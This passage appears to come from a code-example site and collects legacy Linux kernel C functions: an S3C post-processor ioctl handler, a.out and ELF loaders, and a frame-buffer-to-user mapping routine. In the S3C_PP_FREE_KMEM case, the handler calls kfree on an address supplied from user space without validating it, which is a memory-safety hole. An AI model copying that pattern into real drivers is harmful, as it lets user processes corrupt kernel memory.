                    printk(KERN_ERR "%s: PP_MEM_ALLOC FAILED\n", __FUNCTION__);
                    mutex_unlock(h_mutex);
                    return -EFAULT;
                }
                param.phy_addr = physical_address;
                
                dprintk (KERN_DEBUG "KERNEL MALLOC : param.phy_addr = 0x%X \t size = %d \t param.vir_addr = 0x%X\n", param.phy_addr, param.size, param.vir_addr);
                
                if (copy_to_user((s3c_pp_mem_alloc_t *)arg, &param, sizeof(s3c_pp_mem_alloc_t)))
                {
                    mutex_unlock(h_mutex);
                    return -EFAULT;
                }
            }
            break;

        case S3C_PP_FREE_KMEM:
            {
                s3c_pp_mem_alloc_t param;
                struct mm_struct *mm = current->mm;
                void *virt_addr;

                if ( copy_from_user(&param, (s3c_pp_mem_alloc_t *)arg, sizeof(s3c_pp_mem_alloc_t)) )
                {
                    mutex_unlock(h_mutex);
                    return -EFAULT;
                }
            
                dprintk (KERN_DEBUG "KERNEL FREE : param.phy_addr = 0x%X \t size = %d \t param.vir_addr = 0x%X\n", param.phy_addr, param.size, param.vir_addr);
            
                if ( do_munmap(mm, param.vir_addr, param.size ) < 0 ) 
                {
                    dprintk("do_munmap() failed !!\n");
                    mutex_unlock(h_mutex);
                    return -EINVAL;
                }
                virt_addr = phys_to_virt(param.phy_addr);
                dprintk ( "KERNEL : virt_addr = 0x%X\n", (unsigned int) virt_addr );
            
                kfree(virt_addr);
                param.size = 0;

                dprintk(KERN_DEBUG "do_munmap() succeed !!\n");
            }
            break;

        case S3C_PP_GET_RESERVED_MEM_SIZE:
            mutex_unlock(h_mutex);
            return PP_RESERVED_MEM_SIZE;

        case S3C_PP_GET_RESERVED_MEM_ADDR_PHY:
            mutex_unlock(h_mutex);
            return PP_RESERVED_MEM_ADDR_PHY;

		default:
			mutex_unlock(h_mutex);
			return -EINVAL;
	}

	mutex_unlock(h_mutex);
	
	return 0;
}
Пример #28
0
static int load_aout_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
	struct exec ex;
	unsigned long error;
	unsigned long fd_offset;
	unsigned long rlim;
	int retval;

	ex = *((struct exec *) bprm->buf);		/* exec-header */
	if ((N_MAGIC(ex) != ZMAGIC && N_MAGIC(ex) != OMAGIC &&
	     N_MAGIC(ex) != QMAGIC && N_MAGIC(ex) != NMAGIC) ||
	    N_TRSIZE(ex) || N_DRSIZE(ex) ||
	    bprm->file->f_dentry->d_inode->i_size < ex.a_text+ex.a_data+N_SYMSIZE(ex)+N_TXTOFF(ex)) {
		return -ENOEXEC;
	}

	fd_offset = N_TXTOFF(ex);

	/* Check initial limits. This avoids letting people circumvent
	 * size limits imposed on them by creating programs with large
	 * arrays in the data or bss.
	 */
	rlim = current->rlim[RLIMIT_DATA].rlim_cur;
	if (rlim >= RLIM_INFINITY)
		rlim = ~0;
	if (ex.a_data + ex.a_bss > rlim)
		return -ENOMEM;

	/* Flush all traces of the currently running executable */
	retval = flush_old_exec(bprm);
	if (retval)
		return retval;

	/* OK, This is the point of no return */
#if defined(__alpha__)
	SET_AOUT_PERSONALITY(bprm, ex);
#elif defined(__sparc__)
	set_personality(PER_SUNOS);
#if !defined(__sparc_v9__)
	memcpy(&current->thread.core_exec, &ex, sizeof(struct exec));
#endif
#else
	set_personality(PER_LINUX);
#endif

	current->mm->end_code = ex.a_text +
		(current->mm->start_code = N_TXTADDR(ex));
	current->mm->end_data = ex.a_data +
		(current->mm->start_data = N_DATADDR(ex));
	current->mm->brk = ex.a_bss +
		(current->mm->start_brk = N_BSSADDR(ex));

	current->mm->rss = 0;
	current->mm->mmap = NULL;

#ifdef CONFIG_ARM_FASS
	arch_new_mm(current, current->mm);
#endif

	compute_creds(bprm);
 	current->flags &= ~PF_FORKNOEXEC;
#ifdef __sparc__
	if (N_MAGIC(ex) == NMAGIC) {
		loff_t pos = fd_offset;
		/* F**k me plenty... */
		/* <AOL></AOL> */
		error = do_brk(N_TXTADDR(ex), ex.a_text);
		bprm->file->f_op->read(bprm->file, (char *) N_TXTADDR(ex),
			  ex.a_text, &pos);
		error = do_brk(N_DATADDR(ex), ex.a_data);
		bprm->file->f_op->read(bprm->file, (char *) N_DATADDR(ex),
			  ex.a_data, &pos);
		goto beyond_if;
	}
#endif

	if (N_MAGIC(ex) == OMAGIC) {
		unsigned long text_addr, map_size;
		loff_t pos;

		text_addr = N_TXTADDR(ex);

#if defined(__alpha__) || defined(__sparc__)
		pos = fd_offset;
		map_size = ex.a_text+ex.a_data + PAGE_SIZE - 1;
#else
		pos = 32;
		map_size = ex.a_text+ex.a_data;
#endif

		error = do_brk(text_addr & PAGE_MASK, map_size);
		if (error != (text_addr & PAGE_MASK)) {
			send_sig(SIGKILL, current, 0);
			return error;
		}

		error = bprm->file->f_op->read(bprm->file, (char *)text_addr,
			  ex.a_text+ex.a_data, &pos);
		if ((signed long)error < 0) {
			send_sig(SIGKILL, current, 0);
			return error;
		}
			 
		flush_icache_range(text_addr, text_addr+ex.a_text+ex.a_data);
	} else {
		static unsigned long error_time, error_time2;
		if ((ex.a_text & 0xfff || ex.a_data & 0xfff) &&
		    (N_MAGIC(ex) != NMAGIC) && (jiffies-error_time2) > 5*HZ)
		{
			printk(KERN_NOTICE "executable not page aligned\n");
			error_time2 = jiffies;
		}

		if ((fd_offset & ~PAGE_MASK) != 0 &&
		    (jiffies-error_time) > 5*HZ)
		{
			printk(KERN_WARNING 
			       "fd_offset is not page aligned. Please convert program: %s\n",
			       bprm->file->f_dentry->d_name.name);
			error_time = jiffies;
		}

		if (!bprm->file->f_op->mmap||((fd_offset & ~PAGE_MASK) != 0)) {
			loff_t pos = fd_offset;
			do_brk(N_TXTADDR(ex), ex.a_text+ex.a_data);
			bprm->file->f_op->read(bprm->file,(char *)N_TXTADDR(ex),
					ex.a_text+ex.a_data, &pos);
			flush_icache_range((unsigned long) N_TXTADDR(ex),
					   (unsigned long) N_TXTADDR(ex) +
					   ex.a_text+ex.a_data);
			goto beyond_if;
		}

		down_write(&current->mm->mmap_sem);
		error = do_mmap(bprm->file, N_TXTADDR(ex), ex.a_text,
			PROT_READ | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE,
			fd_offset);
		up_write(&current->mm->mmap_sem);

		if (error != N_TXTADDR(ex)) {
			send_sig(SIGKILL, current, 0);
			return error;
		}

		down_write(&current->mm->mmap_sem);
 		error = do_mmap(bprm->file, N_DATADDR(ex), ex.a_data,
				PROT_READ | PROT_WRITE | PROT_EXEC,
				MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE,
				fd_offset + ex.a_text);
		up_write(&current->mm->mmap_sem);
		if (error != N_DATADDR(ex)) {
			send_sig(SIGKILL, current, 0);
			return error;
		}
	}
beyond_if:
	set_binfmt(&aout_format);

	set_brk(current->mm->start_brk, current->mm->brk);

	retval = setup_arg_pages(bprm); 
	if (retval < 0) { 
		/* Someone check-me: is this error path enough? */ 
		send_sig(SIGKILL, current, 0); 
		return retval;
	}

	current->mm->start_stack =
		(unsigned long) create_aout_tables((char *) bprm->p, bprm);
#ifdef __alpha__
	regs->gp = ex.a_gpvalue;
#endif
	start_thread(regs, ex.a_entry, current->mm->start_stack);
	if (current->ptrace & PT_PTRACED)
		send_sig(SIGTRAP, current, 0);
#ifndef __arm__
	return 0;
#else
	return regs->ARM_r0;
#endif
}
Пример #29
0
static int load_elf_library(struct file *file)
{
	struct elf_phdr *elf_phdata;
	struct elf_phdr *eppnt;
	unsigned long elf_bss, bss, len;
	int retval, error, i, j;
	struct elfhdr elf_ex;

	error = -ENOEXEC;
	retval = kernel_read(file, 0, (char *) &elf_ex, sizeof(elf_ex));
	if (retval != sizeof(elf_ex))
		goto out;

	if (memcmp(elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
		goto out;

	/* First of all, some simple consistency checks */
	if (elf_ex.e_type != ET_EXEC || elf_ex.e_phnum > 2 ||
	   !elf_check_arch(&elf_ex) || !file->f_op || !file->f_op->mmap)
		goto out;

	/* Now read in all of the header information */

	j = sizeof(struct elf_phdr) * elf_ex.e_phnum;
	/* j < ELF_MIN_ALIGN because elf_ex.e_phnum <= 2 */

	error = -ENOMEM;
	elf_phdata = kmalloc(j, GFP_KERNEL);
	if (!elf_phdata)
		goto out;

	eppnt = elf_phdata;
	error = -ENOEXEC;
	retval = kernel_read(file, elf_ex.e_phoff, (char *)eppnt, j);
	if (retval != j)
		goto out_free_ph;

	for (j = 0, i = 0; i<elf_ex.e_phnum; i++)
		if ((eppnt + i)->p_type == PT_LOAD) j++;
	if (j != 1)
		goto out_free_ph;

	while (eppnt->p_type != PT_LOAD) 
		eppnt++;

	/* Now use mmap to map the library into memory. */
	down_write(&current->mm->mmap_sem);
	error = do_mmap(file,
			ELF_PAGESTART(eppnt->p_vaddr),
			(eppnt->p_filesz +
			 ELF_PAGEOFFSET(eppnt->p_vaddr)),
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
			(eppnt->p_offset -
			 ELF_PAGEOFFSET(eppnt->p_vaddr)));
	up_write(&current->mm->mmap_sem);
	if (error != ELF_PAGESTART(eppnt->p_vaddr))
		goto out_free_ph;

	elf_bss = eppnt->p_vaddr + eppnt->p_filesz;
	padzero(elf_bss);

	len = ELF_PAGESTART(eppnt->p_filesz + eppnt->p_vaddr + ELF_MIN_ALIGN - 1);
	bss = eppnt->p_memsz + eppnt->p_vaddr;
	if (bss > len) {
		down_write(&current->mm->mmap_sem);
		do_brk(len, bss - len);
		up_write(&current->mm->mmap_sem);
	}
	error = 0;

out_free_ph:
	kfree(elf_phdata);
out:
	return error;
}
Пример #30
0
/* Map a non page aligned fbchain into user space.  This
 * requires creating a iovec and populating it correctly */
static int map_fb_to_user_sg(struct file *filep, struct pme_fbchain *buffers,
				unsigned long *user_addr, size_t *size)
{
	void *data;
	size_t data_size;
	struct iovec *vect;
	int vector_size, ret, list_count, index = 0;
	unsigned long paddr;
	struct vm_area_struct *vma;
	struct pme_fb_vma *mem_node, *iovec_mem_node;
	list_count = pme_fbchain_num(buffers);

	vector_size = sizeof(struct iovec) * list_count;
	iovec_mem_node = fb_vma_create(NULL, fb_phys_mapped, 1, list_count,
			vector_size, 0);
	if (!iovec_mem_node)
		return -ENOMEM;

	/* The space for the iovec is allocate as whole pages and
	 * a kernel mapping needs to be created in case they were
	 * allocated from high mem */
	vect = kmap(iovec_mem_node->iovec_pages);
	/* Create a mem node to keep track of the fbchain
	 * Otherwise, we won't know when to release the freebuff list */
	mem_node = fb_vma_create(buffers, fb_phys_mapped, 0, 0, 0, 0);
	if (!mem_node) {
		fb_vma_free(iovec_mem_node);
		kunmap(iovec_mem_node->iovec_pages);
		return -ENOMEM;
	}
	/* For each freebuff, map it to user space, storing the
	 * userspace data in the iovec */
	data = pme_fbchain_current(buffers);

	down_write(&current->mm->mmap_sem);

	while (data) {
		data_size = pme_fbchain_current_bufflen(buffers);
		vect[index].iov_base = (void *) do_mmap(filep, 0,
							data_size +
							offset_in_page(data),
							PROT_READ | PROT_WRITE,
							MAP_PRIVATE,
							virt_to_phys(data) &
							PAGE_MASK);
		ret = check_mmap_result(vect[index].iov_base);
		if (ret)
			/*  Need to unmap any previous sucesses */
			goto err;

		vma = find_vma(current->mm,
				(unsigned long) vect[index].iov_base);

		vma->vm_private_data = mem_node;
		atomic_inc(&mem_node->ref_count);

		vect[index].iov_base += offset_in_page(data);
		vect[index].iov_len = data_size;
		++index;
		data = pme_fbchain_next(buffers);
	}

	/* Now map the iovec into user spcae */
	paddr = page_to_pfn(iovec_mem_node->iovec_pages) << PAGE_SHIFT;
	*user_addr = (unsigned long) do_mmap(filep, 0,
					     vector_size +
					     offset_in_page(paddr),
					     PROT_READ |
					     PROT_WRITE, MAP_PRIVATE,
					     paddr & PAGE_MASK);

	ret = check_mmap_result((void *) *user_addr);
	if (ret)
		goto err;

	vma = find_vma(current->mm, (unsigned long) *user_addr);

	vma->vm_private_data = iovec_mem_node;

	up_write(&current->mm->mmap_sem);
	*user_addr += offset_in_page(paddr);
	*size = list_count;
	kunmap(iovec_mem_node->iovec_pages);
	return PME_MEM_SG;
err:
	while (index--)
		do_munmap(current->mm,
			((unsigned long)vect[index].iov_base) & PAGE_MASK,
			 vect[index].iov_len +
			 offset_in_page(vect[index].iov_base));

	up_write(&current->mm->mmap_sem);
	kunmap(iovec_mem_node->iovec_pages);
	return -EINVAL;
}